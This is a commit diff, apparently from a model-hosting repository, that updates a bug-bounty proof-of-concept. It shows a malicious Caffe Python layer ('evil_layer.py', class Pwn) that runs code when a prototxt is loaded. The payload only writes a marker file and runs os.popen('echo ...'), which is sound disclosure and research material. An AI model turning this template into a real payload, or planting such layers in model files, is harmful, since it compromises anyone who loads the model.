mscgo77 commited on
Commit
c050177
·
1 Parent(s): 6cdba59

Update to real-binary-verified evil_layer.py + note

Browse files
Files changed (2) hide show
  1. README.md +2 -0
  2. evil_layer.py +41 -12
README.md CHANGED
@@ -34,5 +34,7 @@ Python layers (e.g. py-faster-rcnn's `rpn/proposal_layer.py`).
34
  Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
35
  module-level code and the `Pwn` class constructor.
36
 
 
 
37
  Reported to huntr.com as a Model File Vulnerability (MFV) submission
38
  ("Caffe" format).
 
34
  Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
35
  module-level code and the `Pwn` class constructor.
36
 
37
+ Verified against the real compiled `libcaffe.so` inside Docker (`bvlc/caffe:cpu`, `WITH_PYTHON_LAYER` confirmed) — real `caffe.Net()` call, not a source reimplementation.
38
+
39
  Reported to huntr.com as a Model File Vulnerability (MFV) submission
40
  ("Caffe" format).
evil_layer.py CHANGED
@@ -13,28 +13,57 @@ the .prototxt python_param field.
13
  """
14
  import os
15
  import datetime
 
16
 
17
- MARKER = os.path.expanduser("~/bugbounty_results/caffe-mfv/poc/PWNED_MARKER.txt")
 
 
 
18
 
19
  # 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
20
  # before the "layer" attribute is even looked up).
21
  with open(MARKER, "a") as f:
22
- f.write(f"[{datetime.datetime.now()}] evil_layer.py MODULE IMPORTED "
23
- f"(triggered by python_param.module string from attacker prototxt)\n")
24
- f.write(f" -> proof: os.getpid()={os.getpid()}, os.getcwd()={os.getcwd()}\n")
 
 
25
 
26
 
27
- class Pwn(object):
28
  """
29
  Attacker-controlled class named by python_param.layer ("Pwn").
30
- Caffe calls: module.attr(layer)(param) == Pwn(layer_param)
31
- Constructor code below runs unconditionally as part of layer creation.
 
 
 
 
 
 
 
 
 
32
  """
33
- def __init__(self, layer_param):
34
  with open(MARKER, "a") as f:
35
- f.write(f"[{datetime.datetime.now()}] Pwn.__init__ EXECUTED "
36
- f"(triggered by python_param.layer string from attacker prototxt)\n")
37
- f.write(f" -> received layer_param.name={layer_param.name!r}, "
38
- f"type={layer_param.type!r}\n")
39
  f.write(" -> arbitrary command execution demo: "
40
  + os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
13
  """
14
  import os
15
  import datetime
16
+ import caffe # noqa: E402 -- real pycaffe base class, matches documented custom-layer usage
17
 
18
+ # Py2/Py3 compatible (no f-strings): the real bvlc/caffe:cpu Docker image
19
+ # ships pycaffe on Python 2.7, so this module must import cleanly there.
20
+ _here = os.path.dirname(os.path.abspath(__file__))
21
+ MARKER = os.environ.get("CAFFE_POC_MARKER", os.path.join(_here, "PWNED_MARKER.txt"))
22
 
23
  # 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
24
  # before the "layer" attribute is even looked up).
25
  with open(MARKER, "a") as f:
26
+ f.write("[{0}] evil_layer.py MODULE IMPORTED "
27
+ "(triggered by python_param.module string from attacker prototxt)\n".format(
28
+ datetime.datetime.now()))
29
+ f.write(" -> proof: os.getpid()={0}, os.getcwd()={1}\n".format(
30
+ os.getpid(), os.getcwd()))
31
 
32
 
33
+ class Pwn(caffe.Layer):
34
  """
35
  Attacker-controlled class named by python_param.layer ("Pwn").
36
+ Subclasses caffe.Layer -- the documented, expected base class for
37
+ real-world custom Python layers (py-faster-rcnn, SSD, etc.), so
38
+ bp::extract<shared_ptr<PythonLayer<Dtype>>>() succeeds and caffe.Net()
39
+ returns a fully working net, not just a partially-constructed object.
40
+ Caffe calls: module.attr(layer)(param) == Pwn(layer_param) (C++ ctor,
41
+ via boost::python's class_<Pwn, bases<caffe.Layer>> wrapping), then
42
+ layer_param.python_param().param_str() is later injected as self.param_str
43
+ and self.setup(bottom, top) is invoked from PythonLayer::LayerSetUp.
44
+ Arbitrary code execution already happens at class-instantiation time
45
+ here, in __init__ / boost::python object construction -- well before
46
+ setup()/forward() are ever reached.
47
  """
48
+ def __init__(self, *args, **kwargs):
49
  with open(MARKER, "a") as f:
50
+ f.write("[{0}] Pwn.__init__ EXECUTED "
51
+ "(triggered by python_param.layer string from attacker prototxt)\n".format(
52
+ datetime.datetime.now()))
 
53
  f.write(" -> arbitrary command execution demo: "
54
  + os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
55
+ super(Pwn, self).__init__(*args, **kwargs)
56
+
57
+ def setup(self, bottom, top):
58
+ with open(MARKER, "a") as f:
59
+ f.write("[{0}] Pwn.setup EXECUTED, param_str={1!r}\n".format(
60
+ datetime.datetime.now(), self.param_str))
61
+
62
+ def reshape(self, bottom, top):
63
+ top[0].reshape(*bottom[0].data.shape)
64
+
65
+ def forward(self, bottom, top):
66
+ top[0].data[...] = bottom[0].data
67
+
68
+ def backward(self, top, propagate_down, bottom):
69
+ pass